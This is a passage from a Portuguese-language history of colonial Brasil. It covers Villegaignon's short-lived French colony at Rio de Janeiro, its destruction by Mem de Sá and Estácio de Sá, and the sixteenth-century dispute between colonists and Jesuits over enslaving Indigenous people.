A criminosa tribo foi condenada à escravidão, ao aniquilamento. Assim se saciou a vingança; porém, do dever piedoso de prestar homenagem à memória dos. desgraçados não se cuidou, e até hoje nenhum monumento indica o lugar onde o primeiro príncipe da Igreja do Brasil e com ele tantos infelizes sofreram o martírio; ao revés, criou-se uma lenda, segundo a qual aquele sítio, em que se ostentara, outrora, vegetação tropical eternamente verde, depois que o regou o sangue dos mártires se tornou exsicado e estéril.

Era natural que a discórdia interna, que lavrou na colônia durante a administração de Duarte da Costa, enfraquecesse a resistência contra o inimigo externo; alentaram-se, de novo, os índios e obtiveram novos triunfos, e embora na Bahia houvesse o bravo Álvaro da Costa repelido vitoriosamente um assalto à cidade do Salvador, e submetesse a ferro e fogo as tribos num largo espaço em derredor (maio de 1555), foi impossível levar socorros suficientes às demais capitanias.

E não só aquelas que, de há muito, suportavam o peso intolerável de uma guerra de vida ou de morte, como eram as de Ilhéus, Espírito Santo e Santo Amaro, também as outras se viram agora em apuros.

Depois da morte do primeiro donatário de Pernambuco (1554), os aborígines, que o nome dele mantivera em respeito, atreveram-se a sair novamente das suas tocas; destruíram as plantações onde puderam, e só depois de árduos combates se conseguiu de algum modo restabelecer a paz e a ordem.

Mais para o sul, achava-se Porto Seguro envolto na guerra de extermínio que desde muito a tribo dos Botocudos movia contra a capitania de Ilhéus; foi aniquilado o seu antigo bem-estar, e até seriamente comprometida a sua existência.

Também São Vicente não foi poupada: todas as tribos ao longo da costa, desde Cabo Frio (província do Rio de Janeiro) até à baía de São Vicente, haviam agora formado uma confederação, a cuja frente se achava o grande cacique Cunhambebe — guerreiro tão bravo quanto cruel, que se gabava de haver trucidado cerca de 5.000 inimigos e comido da sua carne.

Cada vez mais freqüentemente e com maior violência, eram atacadas as colônias, tanto nas ilhas, como em terra firme; e, não satisfeiros com isso, reuniam-se os índios nas suas leves canoas, formando verdadeiras esquadras, e punham-se à espreita dos navios mercantes europeus, que passassem à vista; até das naus armadas em guerra não mais se abstinham, desde que pouco a pouco se haviam habituado ao estrondo dos canhões. Esses audaciosos ladrões domar atacaram muitas embarcações de surpresa, na escuridão da noite, levando consigo amarrados os homens da descuidosa equipagem, para os festins canibalescos, de sorte que a navegação e o reabastecimento para São Vicente estavam perturbados de forma a mais ameaçadora; e o nome de Cunhambebe, num vasto círculo, granjeou a mais terrível fama.

Mais perigoso, entretanto, do que tudo isso, era que agora uma nação européia se mostrava firmemente resolvida a fixar-se no Brasil.

Já referimos por várias vezes que os franceses, especialmente os habitantes da Bretanha e da Normandia, desde muito mantinham ininterruptas relações comerciais com o litoral brasileiro; conheciam eles perfeitamente as disposições naturais e condições locais, e arrogavam-se, além disso, direitos pelo menos iguais aos dos portugueses sobre a terra, e mesmo costumavam dar não só ao Brasil, como a todo o continente sul-americano, em lembrança da pátria, o nome de "França Antártica"24.

A efetiva tomada de posse e a repartição do território, que, desde 1532, havia sido feita pela coroa de Portugal, em nada alteraram esse fato; na costa, ao norte, onde haviam falhado todas as tentativas de colonização, prosseguiam os franceses no seu comércio marítimo, na fundação das suas feitorias, sem nenhum estorvo; mais ao sul, porém, na costa oriental, era mister naturalmente tomarem certas precauções, pelo menos evitar a vizinhança estreita das colônias lusitanas; e desta maneira os franceses haviam-se retirado dos seus primitivos portos principais, Pernambuco e Bahia, para a baía do Rio de Janeiro, ainda então desocupada, e que, em conseqüência disso, se transformou, nos últimos tempos, no único ponto de convergência da navegação mercante entre a França e o Brasil.

Como era natural, tão perigosa vizinhança para os seus Estados agrícolas veio a despertar os zelos da corte de Lisboa, pelo que, já por volta de 1550, havia el-rei d. João III incumbido a Tomé de Sousa de expulsar os franceses da baía de Guanabara e de fundar ali uma colônia fortificada; mas o governador-geral viu-se na impossibilidade de dar cumprimento à ordem régia, vistos os escassos meios de que dispunha na colônia; aconselhou ao governo que despachasse diretamente, de Portugal, uma expedição para colonizar o Rio de Janeiro, mas não logrou ser ouvido.

Ficaram assim os franceses na posse indisputada daquele porto de mar; tornou-se este cada vez mais freqüentado por seus navios, assim como era sempre maior o número de seus intérpretes e agentes comerciais, que ali fixavam domicílio e que, com a sua descendência meio-sangue, formavam uma raça de colonos precursores, quais os que os portugueses haviam encontrado na Bahia e São Vicente; e, finalmente, decorridos poucos anos, eis que são lançados no Rio de Janeiro os fundamentos de um estabelecimento em regra, que em França foi, com júbilo, considerado como o núcleo de um futuro império colonial franco-brasiliense.

A idéia de semelhante empresa partira de um nobre da Provença, Nicolau Durand de Villegaignon, cavaleiro da Ordem de Malta. Bravo e glorioso marinheiro, que já havia prestado os melhores serviços à sua pátria, havia, nas suas viagens, feito conhecimento pessoal das coisas brasileiras, e especialmente reconhecera as vantagens que a tomada de posse do Rio de Janeiro e a sua colonização, em regra, poderiam acarretar para o desenvolvimento do comércio francês e do poder naval da França. Impotente por si mesmo para levar avante semelhante plano, dirigiu-se Villegaignon ao almirante francês Gaspard de Coligny, que abraçou a proposta com o maior entusiasmo, pois via nela não só um meio de promover a grandeza e a glória da França, mas — o que era para ele certamente o principal, como zeloso adepto da seita calvinista — esperava, ainda, valer-se desse meio a Fim de fundar além-mar um refúgio seguro para os seus correligionários da Reforma, os huguenotes, aos quais na pátria o Estado e a Igreja porfiavam em perseguir duramente.

Graças à influência de que dispunha na corte de França, obteve aquele almirante que o rei Henrique II pusesse à disposição de Villegaignon dois navios e um pequeno transporte; emigrantes de todas as condições sociais embarcaram com ele, e depois zarpou essa esquadrilha do Havre de Grace para o Ocidente; entretanto, mal haviam perdido de vista a costa, foram obrigados, por violenta tempestade, a buscar refúgio no mais próximo porto, Dieppe.

Desta circunstância se valeram muitos dos emigrantes para se desligarem da expedição; com os restantes, fez-se de vela, novamente, Villegaignon, e depois de uma longa e tormentosa viagem alcançou o desejado porto do Rio de Janeiro em novembro de 1555.

Não é aqui o lugar de reproduzir a entusiástica descrição desse porto de mar, qual foi feita pelos expedicionários franceses, que foram unânimes em reconhecer-lhe a primazia em beleza pinturesca, mesmo acima da encantadora baía de Nápoles; mas temos que lançar-lhe pelo menos um olhar sobre a configuração geográfica, pois que esta lhe assegura a mais alta importância entre os portos americanos da costa oriental. À direita da baía, estende-se o litoral brasileiro, em longa reta de rumo leste, até ao promontório conhecido por Cabo Frio, tendo a segui-lo paralelamente, ao fundo, uma cadeia de montanhas baixas; à esquerda, empinam-se as montanhas bem junto ao mar, na direção SO, até ao grupo saliente dos montes da Gávea; e o viajante acredita ver no contorno da serraria o perfil de um gigante estendido para dormir25, à maneira dos índios; ao centro, por entre diversas ilhas, e apresentando de cada lado rochas de forma cónica — à esquerda o Pão de Açúcar, e à direita o Pico de Santa Cruz — acha-se a entrada na "água escondida", Niterói, uma das denominações dadas pelos índios à baía.

Para o interior, dilata-se esse golfo por mais de quatro léguas alemãs, a princípio com a configuração de um braço de mar, muito recortado, até ao ponto em que atualmente estão situadas — à esquerda a capital do império, cidade do Rio de Janeiro, e à direita a capital da província desse mesmo nome, a cidade de Niterói (Praia Grande), uma defronte da outra; depois, dilata-se em uma bacia, de for-

ma de triângulo irregular, que se apresenta semeada de inúmeras ilhas, das quais uma de maiores dimensões — ilha do Governador — como que divide em duas metades a enseada; é abastecida em torno por muitos riachos e córregos, e emoldurada, em parte, por colinas cobertas de abundante arvoredo; servem de fundo, ao norte, os atrevidos píncaros azulados da serra dos Órgãos.

Bastante vasta para comportar em seu seio todas as esquadras do mundo, oferece, ao mesmo tempo, o mais seguro ancoradouro contra a impetuosidade dos ventos e das vagas, bem como contra o ataque exterior. Realmente, a natureza debuxou ali, desde o princípio, um sistema de defesa: primeiro, a estreita entrada entre os dois cones de rocha, de apenas 850 braças de largura, tendo além disso no meio dela uma ilha de rocha, a Laje, que domina o canal de ambos os lados.

Mais para o interior, em frente à cidade do Rio de Janeiro, emergem mais duas ilhas que a defendem, assim como ao porto, de ambos os lados: a sudeste, a ilha de Villegaignon, e a nordeste, a ilha das Cobras — ambos pontos de importância, agora coroados pela arte militar com obras de defesa, garantindo-se assim a segurança permanente da baía.

Assim não era, porém, ao tempo de Villegaignon; veio ele encontrar toda a redondeza da baía do Rio de Janeiro ainda deserta e não colonizada, e, de livre escolha, pôde eleger o ponto mais conveniente para o estabelecimento da sua colônia. Com isso, pelo menos, patenteou ele não pequeno tino militar; primeiramente, decidiu-se pela ilha da Laje, e começou a construir ali um forte; a ilha, porém, era muito rasa, e a maré arrancava dali os troncos de árvores empilhados e não havia tempo para construir alicerces de alvenaria, de sorte que, afinal, teve de abandonar essa vantajosa posição.

Os imigrantes, no total de uns 80 homens, transferiram-se então para a ilha de Villegaignon26, onde fundaram na ponta da rocha um forte, a que chamaram de Coligny, em homenagem ao almirante protetor.

Também este sítio estava bem escolhido para a defesa e dominação da baía, e dificilmente se poderia achar melhor, como ponto central e de apoio para uma futura grande colônia: para o momento, porém, e para primeiro estabelecimento, apresentava não pequenas desvantagens. A ilha de Villegaignon não possuía água nascente e era de solo estéril; assim, os colonos, tanto que se esgotaram as provisões que haviam trazido, necessitavam transportar-se todos os dias à terra firme, a fim de buscar água potável e alimentos, ao passo que eram por seu chefe obrigados a uma severa disciplina militar e trabalho intensivo.

Quem, portanto, havia emigrado para o Brasil com desmedidas esperanças, logo se desenganou amargamente, se bem que, no mais, tudo corresse bem, pois os naturais dessa região, com a velha estima votada ao pavilhão francês, acudiam sempre amistosos aos imigrados; e, embora contassem em breve os colonos franceses com os reforços trazidos de França, nada obstante, a maioria logo se revelou descontente com a sorte e exasperada contra o seu despótico chefe, conforme o consideravam.

Uma causa insignificante veio a dar lugar à explosão do mau humor; Ville gaignon havia, de chegada, concedido aos seus companheiros franca liberdade de relações com as mulheres indígenas, porém, somente por meio de uniões lícitas, nunca por ligações livres; fiel a este princípio, quando um de seus subordinados, um intérprete da Normandia, à maneira dos colonos, se juntou com uma índia, imediatamente o chefe o chamou à ordem e o intimou a optar: ou renunciava à companheira ou casava com ela. Irritado em extremo, urdiu este uma conspiração, à qual pouco e pouco se foram reunindo umas trinta pessoas; planejaram a morte violenta dos restantes, ou pelo menos do chefe e dos seus mais fiéis partidários; felizmente, porém, foi a trama descoberta ainda a tempo, e malogrou-se; os cabeças da conjuração foram executados, na forma da justiça militar, e os menos culpados condenados a servir como escravos e a duros trabalhos forçados.

Com isso restabeleceu-se aparentemente a ordem; porém, o essencial, a concórdia e a paz interna, continuaram a faltar, como dantes; e também exteriormente as coisas tomavam agora aspecto mais ameaçador, porque o principal culpado, o tal intérprete, havia escapado ao merecido castigo, e procurava nos arredores sublevar os colonos precursores e os índios.

Nos anos seguintes, recebeu o Estado agrícola franco-brasileiro considerável reforço de gente, graças aos esforços do almirante Coligny; um sobrinho de Ville-gaignon, Bois le Comte, trouxe uma esquadra de três navios, com trezentos imigrantes, para o forte Coligny; e então foram gradativamente tomando posse e colonizando as ilhas mais próximas, principalmente a extensa e fértil ilha do Governador27, assim como a margem ocidental da baía. Ao mesmo tempo, estendia-se cada vez mais a influência política dos franceses, tanto ao longo da costa, como pelo interior; a inteligente amabilidade e a liberalidade com que Villegaignon tratava os índios, a severa e reta imparcialidade com que fazia justiça a qualquer, sem distinção de cor, granjearam-lhe, por toda parte, o coração dos indígenas, e sempre novas tribos desejavam ser admitidas à sua aliança, de sorte que as colônias portuguesas vizinhas já olhavam com cioso receio para a rival, que tão rápida e robustamente crescia no meio delas.

Na verdade, porém, as condições do Estado agrícola francês estavam longe de ser tão boas como pareciam; a velha discórdia lavrara mais e mais, e, sobrevindo um novo fator, o elemento religioso, tornou-se ainda mais exacerbada e aguda a situação.

Villegaignon escolhera por protetor, como já foi referido, um dos potentados calvinistas, o almirante francês Coligny, e para obter-lhe as boas graças aderiu ao culto da seita religiosa dos huguenotes, como também havia de boamente prometido fazer de sua fundação um lugar de refúgio para o protestantismo francês. Parece, porém, que não foi realmente séria, de sua parte, essa adesão religiosa; e quando, com a segunda expedição, chegaram ao forte de Coligny mais pastores calvinistas e ali começaram sua faina, declarou-se em breve o rompimento28. É hoje impossível reconhecer a verdadeira feição dos acontecimentos à luz das notícias desfiguradas, apaixonadas, dos contemporâneos; os pastores protestantes acusam ao chefe da colônia de haver publicamente apostatado da Reforma, e de os haver perseguido com tal fanatismo, que preferiram confiar-se ao oceano, num navio que fazia água, a permanecer mais tempo sujeitos ao seu governo; por outro lado, porém, tendo-se em consideração a maneira pela qual se desenvolvia o estado-modelo do calvinismo naquela época, sob a direção do próprio Calvino, em Genebra (1535-1564), cumpre observar que o calvinismo, por seu turno, demonstrava então a maior intolerância, e que o clero calvinista assumia nas questões políticas acentuado espírito de mando, o que, sem dúvida, não podia agradar a um velho lobo-do-mar, como Villegaignon, habituado à severa disciplina militar.

Fosse como fosse, depois de prolongados dissídios, no correr dos quais alguns foram executados segundo as leis militares, e outros tiveram que buscar refúgio entre os índios, os pastores reformistas embarcaram de regresso à França, juntamente com os seus mais fervorosos partidários; e o que ali deram de informações sobre Villegaignon, "o Caim americano", fez que os huguenotes, em geral, renunciassem à emigração para o Brasil; cessou desde então todo auxílio em dinheiro e homens, que o partido religioso reformista até aí havia concedido à colónia.

Não perdeu ânimo, entretanto, Villegaignon: gabava-se ele de que nem o rei de Espanha, nem o Grão-Turco poderiam desalojá-lo; pensava até em conquistar as colônias luso-brasileiras; e no ano de 1559 fez ele mesmo uma viagem à França, a fim de ali buscar recursos para uma tal empresa.

Chegou em ocasião imprópria, pois justamente acabava de morrer o rei Henrique II; sucederam-lhe os filhos menores e sob o seu fraco governo os dois grandes partidos políticos e religiosos enfrentaram-se de armas na mão, começando então a época histórica das guerras de religião. Em tais condições, naturalmente, ninguém tinha vagar nem dinheiro para as questões americanas; nem mesmo Villegaignon voltou ao Rio de Janeiro, a sua colônia ficou entregue à própria sorte, e nos anos seguintes sucumbiu ao ataque inimigo de seus vizinhos mais felizes.

Ao passo que o Estado agrícola franco-brasileiro assim caminhava para a sua decadência, surgia nova era, mais venturosa, para as colônias portuguesas.

O segundo governador-geral, Duarte da Costa, recebeu ordem de regressar ao reino e foi substituído por Mem de Sá que, durante dezesseis anos (1558-1573), empunhou o leme do Estado brasileiro.

Homem bastante instruído, dotado de incansável atividade e severa retidão, começou desde logo a exercer a mais benéfica influência: internamente a luta, ajé então empenhada entre o clero e o poder civil, cessou incontinenti, passando a operar ambos em perfeita harmonia de vistas, tanto para o restabelecimento da ordem e dos bons costumes entre os colonos, como para a conversão e civilização dos abo-rígines; não se descurou, entretanto, o novo governador-geral das fontes de riqueza natural do país, nomeadamente fazendo prosseguir ininterrupta, se bem que sem bom êxito, a pesquisa no sertão à cata de pedras e metais preciosos.

Não menor atenção prestou Mem de Sá a tudo quanto se relacionava com a defesa das colônias contra o inimigo exterior; nas vizinhanças da Bahia, submeteu ele muitas das ainda não vencidas tribos, assim como salvou da completa ruína as fortemente ameaçadas capitanias de Ilhéus, Porto Seguro e Espírito Santo, fornecen-do-lhes prontos e eficientes socorros; também Santo Amaro e Vicente foram amparadas contra os ataques do chefe Cunhambebe: de tal sorte que, por toda parte, ao menos provisoriamente, a paz, ou em todo caso a supremacia das armas européias, foi restabelecida.

Restava, porém, ainda o mais perigoso inimigo, — o Estado agrícola franco-brasileiro, duplamente odiado pelos portugueses, pois os que se haviam domiciliado ali não eram somente rivais no comércio, mas eram ainda protestantes, hereges, e Mem de Sá não podia, portanto, considerar a sua tarefa cumprida, nem julgar em perfeita segurança as colônias confiadas à sua guarda, antes de dominado esse outro estabelecimento, de ver-se o porto do Rio de Janeiro restituído ao domínio lusitano. Para esse fim, já havia o seu antecessor, e também ele próprio, requisitado força de Portugal, sem ter podido, contudo, obter coisa alguma da regência, que governava em nome do rei d. Sebastião, ainda menor (1557-1578).

Só em novembro de 1559 apareceram alguns navios de guerra no porto da Bahia, e Mem de Sá convocou então todos os homens que podiam tomar armas, colonos e índios aliados, que se encontrassem disponíveis na cidade do Salvador e seus arredores, a se arregimentarem com a tropa expedicionária; ao mesmo tempo, mandou uma mensagem aos habitantes de São Vicente, para que se mobilizassem e fossem encontrá-lo a meio caminho.

Em meados de março de 1560, reuniu-se o conjunto da expedição à entrada da baía do Rio de Janeiro, sendo do Norte dois navios grandes e oito pequenos, e do Sul um bergantim e grande quantidade de canoas indígenas; o próprio governador-geral exercia o comando, e a seu lado se achava o provincial dos jesuítas, Manuel da Nóbrega. Em breve foi cercada a ilha de Villegaignon por todos os lados e tomado o desembarcadouro; apesar disso, ainda o forte de Coligny, do alto da rocha, oferecia vigorosa resistência aos atacantes; e somente após ter sofrido violento bombardeio durante dois dias e duas noites consecutivas, esgotadas por completo as suas provisões de pólvora e água potável, a guarnição depôs as armas.

Mem de Sá satisfez-se, no momento, com esse triunfo; não se sentindo, porém, bastante forte para guardar e sustentar os postos conquistados, mandou arrasar a cidadela e embarcou novamente, com os prisioneiros e o produto do saque; as outras colônias francesas, feitorias e povoações agrícolas espalhadas pelas ilhas e pela margem da baía, continuaram a subsistir sem ser atacadas; os navios mercantes franceses podiam ainda ali aportar, como de costume, sem estorvo; mas o seu baluarte, o reduto do Estado agrícola franco-brasileiro, esse estava para sempre aniquilado.

Mem de Sá não mais perdeu de vista o Rio de Janeiro. Desde começo, logo que tomou conhecimento das circunstâncias do Brasil, se havia convencido, e em repetidos relatórios representara à corte de Lisboa, de que era uma necessidade política, se a coroa de Portugal queria conservar o seu domínio sul-americano, a fundação além, para o sul, de uma segunda capitania real, segunda cidade grande e. fortificada, que, como Salvador, na Bahia, para o norte, estivesse no sul em condições de proporcionar a qualquer momento proteção e auxílio às capitanias feudais vizinhas.

Tivera ele, a princípio, em idéia, a região do Espírito Santo, que para tal fim estava bem situada; depois, porém, que viu o Rio de Janeiro, deu naturalmente preferência a esta bela baía.

Com crescente zelo insistiu o governador por que a coroa despachasse para ali uma expedição com o fim de tomar posse e colonizar e, apesar de seu esforço, só conseguiu o que desejava do fraco, irresoluto governo da pátria, após repetidas representações.

Em fevereiro de 1564, entrou na Bahia a esquadra destinada à colonização do Rio de Janeiro, comandada por Estácio de Sá, sobrinho do governador-geral, que o recebeu de braços abertos; a expedição foi abastecida, abundantemente, de todo o necessário e reforçada consideravelmente com o recrutamento de colonos e militares, ao mesmo tempo que eram concitadas as restantes capitanias a prestarem todo o auxílio. Enquanto, assim, ativamente se faziam preparativos ao longo da costa, navegou Estácio de Sá diretamente para o lugar de seu destino, a fim de ali, onde fosse possível, firmar o pé; fez o reconhecimento da baía, procurou desembarcar em diversos lugares; os índios, porém, embargaram-lhe, por toda parte, os passos, em atitude hostil, de sorte que afinal achou ele mais acertado esperar primeiramente no porto de Santos (província de São Paulo) a chegada dos reforços, que ali afluíam em grande número, especialmente vindos da capitania de São Vicente.

Nas primeiras semanas do ano seguinte (1565) apareceu novamente Estácio de Sá, com a sua esquadra, na baía do Rio de Janeiro; ancorou logo à entrada, junto ao Pão de Açúcar, e ao pé dessa rocha, na península, que de um lado é banhada pelo oceano e de outro pela primeira enseada da baía, lançou ele os fundamentos da sua colônia, à qual, provavelmente em homenagem ao jovem rei, deu o nome de São Sebastião do Rio de Janeiro e, por armas, os instrumentos de martírio do seu padroeiro: um feixe de flechas.

Sob contínuos e sangrentos combates com os índios, com os restantes colonos franceses e capitães de navios mercantes, foi edificada a nova cidade, ao modo dos aldeamentos indígenas, defendida por uma forte paliçada, um parapeito de terra e numerosas baterias; roçou-se o mato em redor, a fim de dar lugar às necessárias plantações e, logo que se concluíram estas primeiras instalações, despediu Estácio de Sá todos os seus navios, cortando com essa providência, para si e seus companheiros, toda a possibilidade de fuga; não havia daí em diante senão vencer ou morrer.

Começaram, então, para os colonos de São Sebastião dois anos tristes, de trabalhos, privações e combates; sem navios grandes, não podiam impedir que navios mercantes franceses penetrassem continuamente na baía e levassem para os colonos seus compatriotas novas provisões, especialmente armas e munições, das quais também os índios aliados recebiam a sua parte; e dentro em pouco sabiam estes manejar as armas de fogo com tanta habilidade como um europeu, pelo que ainda mais perigosos se tornaram, como inimigos, para os portugueses.

Não obstante, conseguiu Estácio de Sá manter a ordem e a coragem dos seus

companheiros; um ataque após outro, ora da terra, ora do mar, foram todos repelidos; em breve houve também uma surtida nos arredores, procurando tomar ao inimigo provisões, ou escravos; ou dava-se um encontro naval na baía com embarcações precárias, contra um navio mercante francês, contra uma flotilha de canoas de índios e, assim, se sustentou a nova colônia, com felicidade, embora sofrendo grandes" perdas, até que uma nova expedição portuguesa acudiu para levantar o cerco.

Mem de Sá não esquecia o sobrinho e os compatriotas: informado da sua trágica situação, de como eles tinham, incessantemente, que lutar, ora contra o inimigo, ora contra a fome, tornou o governador-geral a dirigir as suas representações à corte de Lisboa, que, depois de alguma hesitação, resolveu mandar em socorro três navios de guerra, sob o comando de Cristóvão de Barros, esquadra que previamente ancorou na Bahia, em fins de 1566.

Neste ínterim fez também Mem de Sá os seus preparativos; chamou dois navios que cruzavam a costa, seis navios mercantes foram rapidamente armados para a guerra; as capitanias vizinhas, principalmente Bahia e Pernambuco, mandaram mantimentos e homens; o governador-geral em pessoa assumiu o comando, e, a 18 de janeiro de 1567, a frota reunida entrou na baía do Rio de Janeiro, onde estabeleceu comunicação com os colonos de São Sebastião.

Desta vez, tratava-se de combate decisivo de vida ou de morte, e também os franceses se preparavam diligentes para tal fim; os colonos esparsos reuniram-se nas duas principais colônias, das quais uma era em terra firme, junto ao riacho Catete, mesmo ao sul da atual cidade, e outra na ilha do Governador; os índios aliados foram chamados em auxílio, e bem preparados se puseram à espera do inimigo, que no dia de São Sebastião — 20 de janeiro — deu início ao ataque.

A aldeia do Catete foi tomada na primeira investida, grande parte da guarnição foi passada à espada e cinco prisioneiros de guerra franceses foram imediatamente enforcados; os restantes fugiram para a ilha do Governador; mas também aí se decidiu a sorte em favor ide Portugal: depois de demorado, feroz combate, no qual Estácio de Sá recebeu ferimento mortal, os sobreviventes franceses tiveram que procurar a salvação na fuga, ao passo que os vencedores arrasaram as aldeias e feitorias. Com isto se pôs termo, para sempre, ao Estado agrícola franco-brasileiro do Rio de Janeiro; e não obstante nos próximos anos diversos navios franceses ainda penetrassem sorrateiramente na baía, e ainda subsistissem algumas feitorias ao longo da costa, especialmente em Cabo Frio e na embocadura do Paraíba, nunca mais foi seriamente ameaçado o domínio português nessas paragens.

Quanto ao desenvolvimento ulterior desta região — a capitania real do Rio de Janeiro — deve-se antes de tudo mencionar que o governador-geral, logo depois da vitória de 1567, marcou outro sítio para a cidade de São Sebastião.

A sede dada por Estácio de Sá, denominada Vila Velha, na pequena península junto ao penedo do Pão de Açúcar, foi abandonada, e em muito pouco tempo caiu completamente em decadência; em troca, a nova colônia cresceu mais para o interior da baía, no seu sítio atual, a saber, primeiramente próxima ao morro do Castelo, em frente à ilha de Villegaignon.

Repartiu o governador-geral o território em volta em sesmarias entre os colonos; a Companhia de Jesus recebeu também uma considerável porção de terra, na qual se estabeleceram os índios convertidos da Bahia e de São Vicente, que haviam acompanhado a expedição.

Também não tardou que os santos padres atraíssem algumas tribos da vizinhança, que se tornaram seus prosélitos, de sorte que são Sebastião se achou por todos os lados coroada por um círculo de missões — baluarte esse de tanto maior valor, visto que a maioria dos índios da vizinhança continuou por muito tempo em relações amigáveis com os contrabandistas franceses e com desconfiança contra os portugueses.

Quanto à administração e constituição, foi a nova colônia inteiramente igualada às mais velhas, notadamente à cidade de Salvador.

Quando Mem de Sá, depois de uma estada de 12 meses, voltou à Bahia, nomeou, para substituir o falecido Estácio de Sá, outro sobrinho seu, Salvador Correa de Sá, para governador da capitania do Rio de Janeiro; e, sob a direção desse inteligente funcionário (1568-1572), assim como sob a do seu sucessor Cristóvão de Barros (1572-1576), o novo Estado agrícola floresceu lentamente, mas com segurança, e pouco a pouco foi ganhando para a esfera da colonização não só a margem da baía, como também a costa vizinha, do oceano.

* * *

Afora isso, pouca coisa mais se pode narrar a respeito de grandes acontecimentos históricos no governo de Mem de Sá; apresentou-se, porém, durante ele, pela primeira vez, à discussão e solução provisória, uma questão importante para a constituição interna da colônia, questão que já desde então, por muito tempo, havia de representar importante papel na história do Brasil e de perturbar, por diversas vezes, a paz interior. Tratava-se principalmente de saber que posição os primitivos habitantes índios deviam tomar na nova comunidade europeu-cristã; e dois sistemas, dois partidos se opuseram um ao outro, com a maior acrimônia e violência.

De um lado, os colonos; desde o princípio haviam eles, do modo mais diverso, escravizado um não pequeno número de indígenas; e como, naturalmente, num país novo se estava em contínuo apuro pela falta de braços, procuravam eles sempre adquirir maior número deles. Na verdade, teriam preferido, em geral, os escravos pretos, pelo fato de se adaptarem melhor aos trabalhos da lavoura, por terem mais força física e resistência; porém os pretos só com grandes despesas podiam vir de longe; ao passo que os índios podiam tê-los em qualquer tempo na imediata vizinhança, com facilidade e por pequeno preço; eram, assim, preferidos estes últimos, e de ano para ano cresceu em todas as colônias o povoamento de escravos índios, de modo considerável.

De outro lado estavam os jesuítas; usavam eles, para com indígenas, de um sistema humano, tratando de convertê-los ao cristianismo, reuni-los em missões, e habituá-los à vida de costumes europeus e de trabalho da lavoura. E, não satisfeitos com isso, os santos padres atacavam ao mesmo tempo, tanto nas prédicas, como por escrito, o sistema dos colonos, pugnando incansáveis pela liberdade e contra a escravização dos índios; e, pela preponderante influência de que a ordem já então dispunha na corte portuguesa, conseguiu ela que também esta adotasse o seu modo de ver.

Repetidas vezes eram despachadas cartas régias endereçadas aos brancos: "que deviam renunciar ao roubo de homens e ao uso da violência contra os indígenas; que, ao contrário, deviam de todos os modos auxiliar os jesuítas, na sua obra de catequese"; especialmente eram aconselhados a tratar bem os índios batizados, não os ofendessem, nem também os expulsassem de suas antigas propriedades, "a fim de que eles se pudessem compenetrar de que os cristãos querem a salvação das suas almas, não as suas propriedades, e assim também os indígenas ainda não convertidos que tivessem desejo de receber o sacramento do batismo".

E de imaginar-se que a população branca do Brasil não andava nada satisfeita com o zelo dos jesuítas e com as advertências reais, como antes os espanhóis de Haiti, com as reclamações do "protetor dos índios", Las Casas; sentiam-se lesados do modo mais grave nos seus interesses materiais, pois cada índio ganho para a missão representava para eles prejuízo de futuro escravo, perda duplamente sensível, diante da geral falta de braços para o trabalho.

Infelizmente os jesuítas em absoluto não se mostraram tão desinteressados, que o seu sistema não oferecesse também pontos fracos e lados sombrios à crítica malévola.

A organização, a administração das missões foi essencialmente a mesma em ambas as partes da América: na Califórnia e no Paraguai, assim como no Brasil; em verdade, os índios habitantes das mesmas eram em nome homens livres, e também lhes pertenciam as terras que cultivavam; mas de fato eram servos da gleba, sujeitos à mais severa disciplina, e o fruto do seu trabalho ia para as mãos do diretor da missão, que o aplicava em proveito da sua igreja, da sua ordem, ao passo que só concedia aos trabalhadores, em compensação, o necessário para viverem e uma escassa instrução cristã. È verdade que os índios convertidos sentiam-se bem e satisfeitos; sentiam amizade e afeição particular para com os seus padres e, em todo caso, era muito melhor a sua situação do que a que encontravam sob o chicote do colono; pode-se, porém, condenar a população branca do Brasil porque, cega pelo interesse pessoal, só queria ver o lado mau e não o bom?

"Os discursos sobre filantropia soam muito bem", — comentava-se; — "infelizmente só se trata, no fundo, de egoísmo: os jesuítas, ao passo que combatem contra a escravidão dos indígenas, querem simplesmente subtrair braços aos colonos, a fim de os conservarem para si; os índios nas missões não eram, de fato, senão escravos e as próprias missões não eram senão plantações de primeira ordem, que faziam concorrência aos colonos com os seus produtos; todavia, os colonos pagam impostos, enquanto os jesuítas missionários recebem ainda mais o dízimo da Igreja para o seu salário anual".

Depois de muitas disputas, foi a questão afinal levada à decisão de um tribunal, que o rei d. João III havia instituído para dar parecer sobre dúvidas de consciência — a "Mesa da Consciência" de Lisboa; este tribunal aconselhou então um meio termo.

Julgava ele não poder, sem prejuízo para a colônia, proibir inteiramente a escravidão dos indígenas; indicava, porém, limites determinados, estabelecendo "que os colonos só podiam reter, por direito, em escravidão, três classes de índios: primeiro, os aprisionados em guerra justa; depois, os que eram vendidos pelos seus próprios pais; e, finalmente, os que, vendendo-se a si mesmos, passavam para o poder de um senhor". Qualquer outro meio de aquisição era proibido, como abuso.

Naturalmente, com isso, não se acabaram os abusos; prisioneiros de guerra, ainda quando adquiridos numa guerra injusta, eram, como antes, escravizados; não se investiga se o vendedor era realmente o pai do índio proposto à venda, bastava que ele se desse como tal; e quanto às vendas da própria pessoa, eram na maioria realizadas pela força, pela astúcia, ou pelo embuste.

Por outro lado, também os jesuítas não se satisfizeram com a decisão do tribunal e obtiveram que, ao menos, o rei d. Sebastião (cerca do ano de 1565) nomeasse uma comissão que fosse encarregada de investigar e acabar com todos esses abusos.

Essa comissão, em que o governador-geral, o bispo, o ouvidor-geral e alguns membros da Companhia de Jesus tinham voto e assento, concordou em diversas providências: nomeou um curador para os índios e, de fato, o primeiro foi Diogo Zorrilla; declarou nula toda venda de gente entre brancos e indígenas, desde que não fosse concedida licença das autoridades do local; cortou também aos colonos as desculpas que lhes haviam servido tantas vezes para aumentar o seu rebanho de escravos, proibindo-lhes casar os escravos negros com índias. Além disso, as relações entre as missões e os proprietários de escravos, que repetidas vezes questionavam a respeito do direito de possuir escravos índios, foram regularizadas com as seguintes medidas: quando um índio pedisse asilo numa missão e confessasse ser escravo fugido, era o missionário obrigado a entregá-lo sem demora ao seu senhor; mas, na falta dessa confissão, competia ao dono eventual do escravo reclamá-lo e provar o seu direito de posse; e, depois, somente mediante ordem especial do governador-geral, ou do ouvidor-geral, lhe era o fugitivo restituído; se ao contrário, o dono do escravo procurasse, por si mesmo, reaver pela força o fugido, incorria, por isso, na perda de todos os seus direitos e o índio ficava na missão.

Por outro lado não deviam, também os missionários reter à força nenhum de seus pupilos, que mostrasse desejo de entrar para o serviço de algum colono; e, finalmente, eram os juízes dos distritos obrigados a percorrer as missões, de quatro em quatro meses, para velar pela observância dessa lei e harmonizar eventuais contendas.

